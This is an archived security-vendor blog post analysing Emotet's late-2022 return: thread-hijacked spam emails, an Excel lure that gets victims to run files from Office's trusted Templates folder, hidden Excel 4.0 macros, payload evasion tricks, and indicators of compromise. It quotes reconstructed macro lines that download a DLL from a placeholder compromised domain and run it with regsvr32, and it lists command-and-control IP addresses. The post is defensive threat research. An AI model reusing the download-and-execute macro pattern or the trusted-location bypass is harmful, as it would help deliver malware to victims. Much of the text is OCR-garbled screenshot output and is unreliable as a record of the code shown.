https://www.deepinstinct.com /blog/emotet-vacation-is-over-no-rest-for-the-wicked

Emotet’s Vacation is Over: No Rest for the Wicked | Deep Instinct

By Simon KeninThreat Intelligence ResearcherMark VaitzmanSecurity and Threat Research Team Leader

Published: 2022-11-17 - Archived: 2026-04-05 15:49:44 UTC

Emotet is a prolific malware botnet that originally functioned as a banking trojan when it emerged in 2014. It was
spread via spam campaigns, imitating financial statements, transfers, and payment invoices. Emotet is propagated
mostly via Office email attachments containing a macro. If enabled, it downloads a malicious PE file (Emotet)

which is then executed.

The Emotet operation was disrupted in early 2021, but after few a few months of inactivity for what we will call

"summer vacation," it has re-emerged with nearly daily activity since mid-October.
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Figure 1: Emotet activity showing no new spam from mid-July until start of November (Source:

MalwareBazaar*)

The first thing the botnet operators did upon re-emergence was update currently infected computers with new

versions of the malware:
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p/' Cryptolaemus

We have been following this situation since the module
first showed up on Monday at 0745UTC on E4. As of
today at 1330UTC, the module is now being deployed
to bots on the E5 botnet as well. This looks to be a new
development for Emotet and maybe soon a

reawakening. Stay tuned.

r ESET research

#Emotet’s operators were busy updating their systeminfo module, with changes
that enable malware operators to improve the targeting of specific victims and
distinguish tracking bots from real users. #ESETresearch 1/7

Figure 2: Observed initial Emotet activity after vacation (Source: TwitterT)
Delivery via Thread Hijacking Email

The current wave of Emotet malspam is delivered via “thread hijacking” emails. The attachments come in both

password-protected zips as well as plain attachments:
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From Ryan Williams <assistentefiscal@fergusul.com.br= &
To I TR 10 07/11/2022, 23:11
Subject Cascade and YS Vina weekly meeting

Please be sure to sign and fill out the attached form.

form 11.07.2022 CascadeDesigns.zip
ZIP-pass: pVSbnmhsl

Ryan Williams
Te| Bl B Fax O&a-fs -
Mobile . F. il

Updating to 15t Monday of each month.

Weekly meeting to discuss any development and production issues with MSR tents,

6pm PST.
7pm MST.
Bam Vietnam.

Best regards,
Ryan

Microsoft Teams meeting

Join on your computer or mobile app
Click here to join the meeting

Or call in (audio only)

+1 424-566-7556,,685577309# United States, Los Angeles
Phone Conference ID: 685 577 309#

Find a local number | Reset PIN

> | [l 1 attachment: Form 11.07.2022 CascadeDesigns.zip 210 KB | & Save Vv

Figure 3: Email containing a password protected zip attachment

From Wang, Guoqing <omima.salah@speedlab.com.eg> @
To = n ng o el @ 07/11/2022, 7:57
Subject [Potentially Threat?] - [Suspicious Attachment] - AW: Zhou, Yijing

Als Anhang erhalten Sie Ihre Rechnung.

Wang, Guoqging
Guoging.Wang sy = <=

> Datum: Montag, 07. November 2022 um 06:57 Uhr
= Von: "Zhou, Yijing"

= An: "Wang, Guoging"

> Betreff:

> |@J 1 attachment: Rechnungs-Details.xls 255 KB & Save | Vv

Figure 4: Emotet’s malicious Office attachment without a password protected zip

Changes in Emotet Malspam
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Before going on vacation, Emotet malspam consisted of XLS files with an Excel 4.0 macro.

The files contained a simple social engineering image that asks the victim to enable content which will cause the

macro to execute:

a2daal b6f2dccc95e9a7 dBdBII32 7 d7936aa2e53bbf1921f81f5b38257d5894.0ds [Compatibility Mode] - Excel

Insert Page Layout Formulas Data Review View & Tell me what you
af Cut o - .= = I,
Calibri - - A AT =S B =¢ Wrap Text General i | # | Normal Bad
P EB(DW' G dr | F o
aste RN . .| = =5= | & . . €0 00 anditional Format as | Good Neutral
o Format paintar | B 2 W= s A S S == [HitmgtEm ERRE Formatting = Table - -
Clipboard [F] Font ] Alignment [F] Number [F] Styles
1 SECURITY WARNING Macros have been disabled. Enable Content
cas - I
A B C D | E | F | G | H | 1 | 1 | K | L | M | N | O | P Q
1 | Most features are disabled. To view and edit document click Enable Editing and click Enable Content.
2

Figure 5: Emotet XLS file from July
(a2daalb6f2dccc95e9a7d8d89932¢7d7936aa2e53bbf4921f81f5b38257d5894)

After vacation ended, the Emotet wave still includes XLS files, however, the social engineering element has

changed:

62¢693d9563e86b262! 316ff03c582¢ c16afe59ebf8532b756590ae83 xls [Compatibility Made] - Excel
Insert Page Layout Formulas Data Review View @ Tell mewhat to do

- L‘EE:;« i Calibri - ey == 8- %WrapText General - |‘,'l Normal Bad = EEE' E‘i
P ramapi | * 1 0|88 B | § -5 (44| ot e N M | v 04

Clioboard Ll Font Y Alignment il Number ] Styles Cel
I SECURITY WARNING Macros have been disabled, | Enable Content
1109 - s

a | 8 | ¢ | o | e | F | & | w | v P Ok | L | ™M | N | o | P | @ | rR | s
1
2
3
4
5,
6
7 .
e Relaunch Required
9| )
5 v the contents of the document,
1
12
13
u_
15
16
17
m.

Figure 6: New social engineering lure used by Emotet
The victim is asked to copy and execute the file from the templates folder of Microsoft Office.

Executing Office files from this location bypasses the security warning and the Excel 4.0 macro is executed

automatically when the file is opened:
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Excel Options (7=
10 !
General
Trust Center =]
Formulas
Trusted Publishers
Proofing e e Trusted Locations
Trusted Locations
Save Warning: All these locations are treated as trusted sources for opening files. If you change or add a location, make sure that the new location is secure,
Language Lfistac ocuments Path Description Date Modified
Trusted Add-in Catslogs
Advanced . S
- CAPragram Files\Microsoft Office\ Officel 4 Library\ Excel default location: Add-ins
T —— s CAPragram Files\Microsoft Office\ Officel 6\STARTUR Excel default location: Office StartUp
ActiveX Settings CAProgram Fileg\Mice ft Offic e\ Officel ALY STARTY Eycel defanlt locatinn: Evcel Startllp
Quick Access Tooll C:\Program Files\Microsoft Office\ Templates\ Excel default location: Application Templates
Macro Settings T ToCaton: User STanup
fad R bl i, =) Lt 1ocation: User Templates
Trust Center [Warning: This location will be treated as s trusted source for opening files,
Message Bar lyou change or add a location, make sure that the new location is secure,

Path:

Edsmal Contant C:\Program Files\Microsoft Office\Templates',

File Block Settings

Privacy Cptions
Subfolders of this location are also trusted

Description:

Excel default location: Application Templates

Date and Time Created:

T Fxcel default Tocation: Apphication Templates

Date Modified;
SubFolders:  Allowed

Add new location... H Remove H Modify...

[] Allow Trusted Locations on my network (not recommended)

[F] Disable all Trusted Locations

Figure 7: The templates folder is a trusted location allowing auto execution of macros

Advice: Cybersecurity and IT teams should either disable trusted locations and/or limit write access to

such locations to unprivileged users, as well as proactively hunt for suspicious executions from those

locations.

Besides this social engineering piece, the techniques used by Emotet didn’t change much. When manually

checking the sheets, they look empty, however, they contain hidden values:

16afe50ebfB532b756590ae83 s [Compatibility Mode] - Excel

Insert  Pageloyout  Formulss  Data  Review

S E= Autosum
E%[“‘ Calibri RETRIR ® Wrap Text General Normal Bad W) | 2 Aues yol
B Copy 2 Fill~
2 Conditional Format as | [Go6d eutra nsert Delee Format | B Sort& Find &
Formatting = Table . - . & Clear - Filter - Selact »
Clipboard 5 Font Algnment Number Styes cells diting

1 SECURITYWARNING Macros have been disabled. | Enable Content

Paste B I U A Merge & Center $-9% »

~ Format Painter

M1 M £ ||| =T(sheet3! heet3IR1 1B11&Sheet3 ! IF26&5heet3l! IL7&Sheet3IK10&Sheet3IM16&Sheet31Q11&Sheet3 IR ! 1B11&Sheet3 IR17&Sheet3IT9&

&
@ LD L& L& 5 |1

L | ™M | N L u v | w | X

|
21
22

Figure 8: “Empty” sheets used by Emotet

The auto_open macro is also hidden:
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I SECURITY WARNING Macros have been disabled. Enable Content

Auto Open ~ |[: b2
A L B | C L D Ll F L

1 -
2
2 ]
4
5

Figure 9: Hidden column containing “Auto_Open” macro

The formula concatenates values from different cells to eventually assemble, download, and execute the Emotet

DLL. This is done to avoid static detection of common endpoint solutions.

The end results should look like this:

=FORMULA(=CALL("urlmon","URLDownloadToFileA","J]CCBB",0, "https://compromised_domain/random/path/",
=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.00ccxx"),G18)

The Emotet Payload

Emotet operations moved from PE32 to PE64 executables in mid 2022, adding several new features and

rebuilding some of its older code. The overall structure remained the same.

* PEB4
Operation system: Windows(Vista)[AMD6&4, 64-bit, DLL]
Linker: Microsoft linker(12.00.40629)

Compiler: Visual C/C++(18.00.40629)[LTCG/C++]
Language: C/C++
Tool: Microsoft Visual Studio(2013 SP3)

Figure 10: PE64 new Emotet (DetectltEasy)

From the configuration extraction of Emotet we can see the malicious IPs list, as well as evidence of them using

the epoch4 botnet and the ECDH and ECDSA keys (See I0Cs table).

In an attempt to look like a legitimate application when scanned, Emotet is using C++ libraries licensed by

DinkumWare.

.data:@ee87FFDF74B0020 aCopyrightC1992 db "Copyright (c) 1992-2884 by P.J. Plauger, licensed by Dinkumware, '
.data:@ee87FFOF74E0028 db "Ltd. ALL RIGHTS RESERVED.',®

Figure 11: Dinkumware C++ library.
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D iNKUM
L. IBRARIES

Who we are:

Dinkumware, Ltd. 1s the premier supplier of Standard C and Standard C+— libraries -- the ones that accompany e
commercially supported, top quality libraries that are portable across the widely used compilers and operating sys

What we do:

We license our Dinkum C and Dinkum C++ technology to OEMs who distribute our libranes with their products.
desktop compiler vendors, like Microsoft and IBM, through the most respected embedded compiler vendors, like

Figure 12: Dinkumware website (www.dinkumware.com)

Additionally, Emotet has a few loops to mimic legitimate behavior during runtime, for example “printing benign

strings.”
]

lea rcx, aScExe ; "SCLEXE"

xor edx, edx ; bAutoFree

call es:Coloadlibrary

test rax, rax

jnz short decryptData

i \ Ty
lea rcx, [rspreCleh+var_BAG]
call print_benign_strings decryptData:
lea rcx, aThereAreSoluti ; "There are sclutions” mov [rbpt+eBleh+var_AS@], SDESFD1Dh
cmp al, 1 mov [rbp+@Blah+var_A4C], 1C1F1834h
jz short loc_7FFEBSD77@FA mov [rbp+eBleh+var_A48], 7E@7142Fh
T mov [rbp+eBleh+var_A44], 2E@529@Ch

Figure 13: Print benign strings function

Even building a Sudoku and checking your board number (not really...)
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s =]

sub_7FFEB8D71118 proc near

arg_B= gqword ptr B8
arg_8= qword ptr 18h
arg l@= qword ptr 15h

mov [rsptarg_2], rbx

mov [rsp+arg_8], rbp

mowv [rsp+arg_1@], rsi

push rdi

sub rsp, 28h

cmp cs:byte 7FFE@BDE3A4B, @

mov rdi, rcx

lea rcx, aYahavsodukuTxt ; “yahavSoduku.txt®
jnz short loc_7FFE@3D7114C

FEE

lea rdx, Mode ;W
call fopen loc_7FFE@3D7114C:
mow cs:hyte JFFEBBDE3A48, 1| (lea rdx, ah 3 ta”
jmp short loc_7FFEBBDV11SE call fopen
| Y ¥ ]
FIZE=
loc 7FFE@BD71158:
mow ré, cs:qword_7FFEBBDE3A3E
lea rdx, Format ; "Board number: ¥1d \n"
mow rcx, rax 3 Stream
mow rbx, rax
call fprintf
lea rdx, asc_JFFE@BDABBER ; "-----------m oo "
MoV rcx, rhwx 3 Stream
call fprintf
mow ebp, 9

Figure 14: Benign String

The Real Emotet Job

The final DLL is decrypted and uploaded to memory during runtime, making investigation and detection more
difficult. Even the API call to VirtualAlloc is obfuscated, like their older version, and the address of the API is

retrieved dynamically. The parameters of the call are saved as a STRING and converted to INT during runtime.

You can read more on that technique in the previous blog by Deep Instinct
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lea
xor
call
lea

call
lea

call

call

rox,
edx,
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ModuleName ;
edx ;

cs:ColoadLlibrary
rd, avirtualalloc

rdx,

ManualGetProcAddress

rox,
rdi,
atoi
rcx,
ehw,
atol
edx,
ehx,
rad,
BCx,
réd,
rdi

rax

aglaz2 H
rax

adB9s B
2ax

ebp
eax
aah ;
ecx
eba

"kernel32.d11"
bAutoFree
3 "Wirtualalloc®

"3192"

"4896"

Figure 15: Virtual Alloc detection evasion

The payload itself is encrypted and then encoded using base64:

.rdata:@@e87FFDF7476CF8 dac65etintepByy db 'GLE5eTONTEPEVVM/ppdTh/BvZ2hmQUclLSVUNU1ZVzZNAKL JyRwBVAC15PEIMSnhVU
.rdata:@@887FFDF7470CF@
.rdata:@@887FFDF7470CF@
.rdata:@eee7FFDF7470CF0
.rdata:@eee7FFDF7470CF@
.rdata:@eee7FFDF7470CF@
.rdata:@eBe7FFDF7470CF0
.rdata:@e0e7FFDF7470CF0
.rdata:@e0e7FFDF7470CF0
.rdata:@e087FFDF7470CF0
.rdata:@e0e7FFDF7470CF0
.rdata:@@0e7FFDF7470CF0
.rdata:@@0e7FFDF7470CF0
.rdata:8@B87FFDF7476CF@
.rdata:@@887FFDF7470CF@
.rdata:@@887FFDF7470CF@
.rdata:@@887FFDF7470CF@
.rdata:@eee7FFDF7470CF@
.rdata:@eee7FFDF7470CF@

; DATA XREF: sub_7FFDF7442284+49T0
db "z9ZaFNv5G9naGZBhzViIVeqs8ldXh@nmc8pGT IhVFRFVPmWEC joBTTgF cwwpAQkHEm "
db *E1UELIXIVEpMDKTBGQBUA pvMREHADFHAEpAVVIM/WWhkXSPXFDTjq jRmaManZkyyRm "
db "gwDcjQuitbXvCSTh5JoXZ/iNQrOlaEGEYEABUSOEStIVQLSVINMBArUNJHAFVEETWE "
db "TSMFFVGVTELU29Ib2doZkGINUEFXzdFWVeXQitSUECAVAQpeVATTkpaRVM/ WHhT7 "
db "@lvZZhmUUclbsdUNUSZVZNAKLIyQQBEVACISPEIMUNpVUZ tZaFNvSa91aAZARZVIIV'
db "Q15VIXI@ArUnJHAFVEOXkETUxKeEVTP11loU29Ib2dodkFHNVEsVUDWVCZQCtSche "
db "AVXQpeTxNTEp4VVPTW2gjYUhvZ2hmQUc lbSVUNULZVZNAKLIYRWEVAC1SPEIMSnhY
db "Uz9ZaFNv5GInaGZBRzVEIVQLSVLIXMBArUNJHAFVeKXkETUxKeFVTP11oU29Ib2deZ "
db "kFHNW@LVDVIWVczQCtSckcAewBMAUhNTErYS1E/ WXhTb@jLZWhmRUC1bSVUNULZYzZ *
db "NAK1JIyZwBVFACLWCwaK3hVKTZZaFOvSmanYmZERS IvIVQLSVIXMBArUnJHABVEK TK
db "SK38+GVWTP1FuU29Iv2VoZkFHNWB1VIVIWVCzQCtSckc AVXRpeTyNYjocNCdellg] "
db "YUhvZahkQUclbSVUh@tZVZNAKLIyRwBVAC15FEIMCnhVUz9ZaFNvSGInaGZBRzVED "
db "WQI1SVIXMBArUnJHAFVeKXkBTUxKeFVTP11loU29Tb2doZkFHNWeIVDVIWVczQCtSck”
db " cAVXQpeTxNTEp4VVM/ WihTb@hvZ2hmQUc1bSVUNULZVZNAKL )y RwBVdC1SPEIMSnh "
db "WUz9ZaFNv5GInaGZBRzVEIVQLSVIXMBArUnJTHAFVBKXkETUxKeFVTP1loU29Ib2do "
db " ZkFHNWeIVDVIWVczQCtSckeAVXQpe TxNTEp4VWM/ Wih Th@hvZ2hmQUe 1bSVUNULZV "
db "zZNAK1IyRwBVAC1SPEIMSnhVUz9ZaFNvSGInaGZBRzVEIVQLSWYINMBArUN JTHAFVEKX "

Figure 16: Encrypted payload in base64

Once the malware is executed, it decodes the base64 text into binary data:
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hebungE:G@Gﬂ@llFE?FFQZC@ db  18h

debugl28:000800821F67FFO2C1 db  2Eh ;
debugl2g:0ee8821F67FFI2C2 db @BOh

debugl2g:0ee8821F67FF92C3 db  79h ;
debugl2g:eeea821F67FF92C4 db  3Fh ;
debugl2s:0ee8821F67FFI2C5 db  4Dh ; M
debugl25:9000821F67FF92C6 db 4Ch ;
debugl25:9080821F67FFA2C7 db  4Ah ;
debugl25:86080821F67FFO2CE db  7Ch ;
debugl25:2080821F67FFO2C2 db 55h ;
debugl2g:0ee8821F67FFI2CA db  53h
debugl2s:0ee8821F67FF92CE db 3Fh ;
debugl2s:0ee8821F67FFI2CC db BAGh

debugl2s:0ee8821F67FFI2C0 db 97h

debugl2s:9000821F67FFI2CE db 53h ; S
debugl25:80806821F67FFA2CF db 6&Fh ;
debugl25:8080821F67FFO208 db @Fah

debugl25:20000821F67FFO201 db 6&Fh ;
debugl2g:0ee8821F67FFI202 db 67h
debugl2g:0ee8821F67FF9203 db 68h ;
debugl2g:eeea821F67FFI204 db  66h ;
debugl2s:eeea821F67FFI205 db  41h ;
debugl25:9000821F67FFA206 db  47h ;
debugl25:8080821F67FFA207 db 35h ;
debugl25:86800821F67FFO208 db 2Dh ;
debugl25:00000821F67FFO209 db  25h ;
debugl2g:0ee8821F67FFI2DA db  54h
debugl2s:0ee8821F67FFI20B db 35h ;
debugl2g:0ee8821F67FFI20C db 49h ;

W I= =h M O =] g LA — T b

H w - &2

Figure 17: Base64 binary data

The binary data is then decrypted and we finally get the payload, easily identified by the “MZ... this program

cannot be run in DOS mode.”
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] = =]

Jtext:eee07FFE@LGB26BA

.text:80007FFE@16B268A loc VFFEBLEB263A:
.text:00007FFEALGB268A call sub_7FFE@16BB5C3
Ltext:eeea7FFERLBB268F mov rcx, rax
.text:@@BBTFFER1GB2692 call sub_?FFE’BlEBB?ES
.text:@ee87FFE@LEE2697 mov ecx, edi
Ctext:eeaa7FFE@LEE2699 mov eax, GBCALAF3h
.text:00007FFE@LEE269E imul edi
.text:00807FFERLG6B26A8 sar edwx, 4
.text:00087FFEALGB26A3 inc edi
Ltext:eeea7FFERLBB26A5 mov eax, edx
.text:B8887FFER1GB26A7 shr eax, 1Fh
Ltext:@eea7FFE@LEE26AA add edx, eax
Ltext:@ee87FFE@LEB26AC imul eax, edx, 26h ; "&°
.text:Pe8087FFERLGB26AF sub ecx, eax
text:P8007FFE@1GB26B1 movsxd rax, ecx
.text:@0807FFEALGB26B4 lea rcx, albtYMljxusYhsoh ; "Ut)y<MLIxUS2?YhSoHoghTAGSMETSIYW3IEHRrG™
.text:@0807FFEALBB26BE mov al, [rax+rcx]
.text:@88087FFEALGB26BE xor al, [rsitri4]
CText:eeaa7FFE@LGB26C2 mov [r14], al
.text:@89887FFE@16B26C5 inc rl4
.text:@82007FFE@16B26C8 cmp edi, ebp
.text:80807FFE@16B26CA jb short loc_7FFE@16B26BA

I

Ltext:eeea7FFE@LEE26CC
.text:80007FFEA16B26CC loc VFFE@16B26CC:

lall ) (5=

Jtext:eee07FFEBLGB26CF

.text:80807FFE@16B26CF loc VFFE@LE6B26CF:

.text:00007FFEALGE26CF mov rbx, [rsp+28h+arg @]
100.00% (—-24,825) (342,273) 00001ACC Q00OQ7FFEOlEB26CC: decrypt:loc T7FFE01&B2&CC (Synchronized with RIE

@ Hex View-1

BEREA21FE7F20808 4D S5A 96 60 93 60 00 GO 64 90 @0 B8 FF FF 60 8@ MZ..............
BEREA21FETF20012 BE 0D OO GO 90 0D DO GO 40 PO G0 DO GO BB 60 VO ........ [ EyEp—
BEREA21FETF20020 OO0 GO OO G0 00 OD DO GO G0 PO G0 DO G0 BB 6P PO  ...........000..
BEREA21FETF2E032 OO0 60 00 60 OO 6D 06 G0 60 PO G0 DO (0 B8 60 PP  ........coneaeas
BEREE21lFE7F28842 OE 1F BA OE 99 B4 @9 (D 21 B8 ©1 4C (D 21 5S4 [ ....ccevuae L..Th
BEEEE21FE7F28058 69 73 20 7@ 72 6F 67 72 61 6D 2@ 63 61 6E BE 6F is-program-canno
GEOeE21FET7F20060 74 208 62 65 28 72 75 GE 20 69 GE 28 44 4F 53 2@ t-be-run-in-DO5-
PEEEE21FE7F28078 6D 6F 64 65 2E 6D 6D BA 24 00 00 00 09 00 00 80 mode....F.......
PEEEE21FET7F2@0E88 37 32 6B B8 73 53 @5 EB 73 53 @5 EB 73 53 85 EB 72k.sS5..........
BopEBA21F67F2889@ ©E 2A E6 EB 65 51 @5 EB 6GE 2A D9 EB 72 53 65 EB P o TR rs
BEREA21FE7F288A8 BE 2A DB EB 72 53 85 EB 52 B9 63 68 73 53 65 EB *..rs5 chss
GEREE21FEVF200E2 B0 G0 00 G2 90 0P OO G2 G0 B0 B0 B0 GO BB BB BB ...........0000.
BEPEB21FE7F208CE 58 45 00 6P B4 86 B4 @8 15 AA 6l 63 B0 BO 60 8@ PE..d dac

Figure 18: Final payload revealed
Some other artifacts that are similar to the previous generation of Emotet include the following:

e Empty import table
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pestudio 9.46 - Malware Initial Assessment - www.winitor.com - [chusersiuserdownloads\emotetpayload.dil]

file settings about

whh X8 ¢

il Indicatars (29) ¥

S
- I» dos-header (64 bytes)

- dos-stub (128 bytes)

- file-header (Amdgd)
- [»  optional-header (GUI)
.54 directories (2)
sections (wirtualized)

libraries (n/a)

imports (n/a)
exports (DIIRegisterServer)
exceptions (308)

--abe strings (9398) *

Figure 19: Empty Import table

e Minimal informative string

- = rich-header (Wisual Studio 2013)
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pestudio 9.46 - Malware Initial Assessment - www.winitor.com - [c\users\user\downloads\emaotetpayload.dil]

file settings about

wdx8 7

-5 chusers\user\downloads\emotetpayload.dll [ encoding (1)

- dos-header (64 bytes)

-l dos-stub (128 bytes)
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- 2 file-header (Amd64)
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L. directories (2)
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Figure 20: String of the executable file

 Similar code flow flattening technique
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Figure 21: Code flow of Emotet
You can read more about these techniques in Deep Instinct’s previous blog about Emotet.

The multi-step techniques detailed result in late detection only when the decrypted PE is uploaded to the memory,
therefore, we see a low detection rate in VT for the initial DLL, while the decrypted DLL gets a higher detection
rate.

8 (D & security vendors and no sandboxes flagged this file as malicious

3cc01028760034 15192333460 101 ead3944087ecd931e1608219561160e 5l 3
C\WUsers\userAppData'LocalMicrosoffWindows\NetCacheUEVF 2ZEFELNVANKIowS EAMPAsxogdjE[1].dll

S4o@s  assembly pedl
X Community Score

Figure 22: Initial Emotet DIl
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(1) 46 security vendors and no sandboxes flagged this file as malicious

cd40018leaetsddTdec2 3dd58 1066209003 ebc893d4a6 75682 1091 5dda8ace 319
cd4001 Bfeae5iddT dec 2 Jdd 58 106620900 3ebe 89 3da6 7568 1081 5ddaBack I 19 bin

Figure 23: Final Emotet payload
Conclusion
Emotet has returned to send malspam after a few months of summer break.

The current waves don’t show much change from those before their vacation; they’re still trying to bypass

detection by making some minor changes, adding benign code blocks, and moving to PE64.

Emotet has slightly altered its techniques and TTPs over the years as the threat landscape shifts in favor of new

initial infection vectors and new bypassing methods.

We wouldn’t be surprised if we saw Emotet shift from Excel 4.0 macros to another initial infection vector that

would yield them more successful infections in the near-term future.

Deep Instinct customers are protected from the new Emotet campaign by multiple protection layers, both statically

and dynamically, resulting in pre-execution prevention.

d=ep
instinct

ChUsersyIE...Details.xls
was identified b‘s a trojan and i1s now blocked.

Security Engine Deep Static Analysis

securty Module OFFICE

Figure 24: Static engine prevention for Emotet’s malicious Office file

I0C
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Password Protected Zip samples Plain Attachment samples

ZIP 19c43584bd90e6507badaddad59fdf3a N/A

XLS €99144862c6a3bb1d25846e962dc1633 893f9b10a48073fc3fa0d5c8867f7200
DLL b0ebf252754995807a8fe9dca7a063b8 bf488b48716275f2e3dc9efc7feadaea
DLL

Decrypted 236AE63E2AC25B35EDBCECA4443BD95F
45.235.8.30:8080
94.23.45.86:4143
119.59.103.152:8080
169.60.181.70:8080
164.68.99.3:8080
172.105.226.75:8080
107.170.39.149:8080
206.189.28.199:8080
1.234.2.232:8080
188.44.20.25:443
186.194.240.217:443
103.43.75.120:443

201.94.166.162:443
95.217.221.146:8080
173.212.193.249:8080
82.223.21.224:8080
103.132.242.26:8080
213.239.212.5:443
153.126.146.25:7080
45.176.232.124:443
182.162.143.56:443
169.57.156.166:8080
159.65.140.115:443
149.98.143.90:443 163.44.196.120:8080
150.89.202.34:443 172.104.251.154:8080

C2 167.172.253.162:8080
209.97.163.214:443
91.187.140.35:8080

183.111.227.137:8080
45.118.115.99:8080

129.232.188.93:443

147.139.166.154:8080
139.59.126.41:443

72.15.201.15:8080

110.232.117.186:8080
149.56.131.28:8080

139.59.56.73:8080

167.172.199.165:8080
103.75.201.2:443

101.50.0.91:8080
91.207.28.33:8080

160.16.142.56:8080
164.90.222.65:443

185.4.135.165:8080
197.242.150.244:8080

104.168.155.143:8080
212.24.98.99:8080

79.137.35.198:8080
51.161.73.194:443

5.135.159.50:443
115.68.227.76:8080

187.63.160.88:80
159.65.88.10:8080
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Password Protected Zip samples Plain Attachment samples

MFkwEwYHKo0Z1zj0CAQYIKo0ZI1zj0DAQcDQgAE86M1tQ4uK/Q1VsOKTCk+fPEQ3cuw

Eck1
TyCz+glgzky2DB5EIr60DubJW5q9Tr2dj8/gEFsOTIIEJgL.Tuqzx+58sdg==
Bk MFkwEwYHKo0ZI1zj0CAQYI1Ko0ZI1zj0DAQcDQgAEQF90tsTY3AwIHwWZ6N9y5+be9Xoov
d
pgHyD6F5DRTI9THosAoePlIs/e5AdJiY xhmV8Gq3Zw1ysSPBghxjZdDxY+Q==
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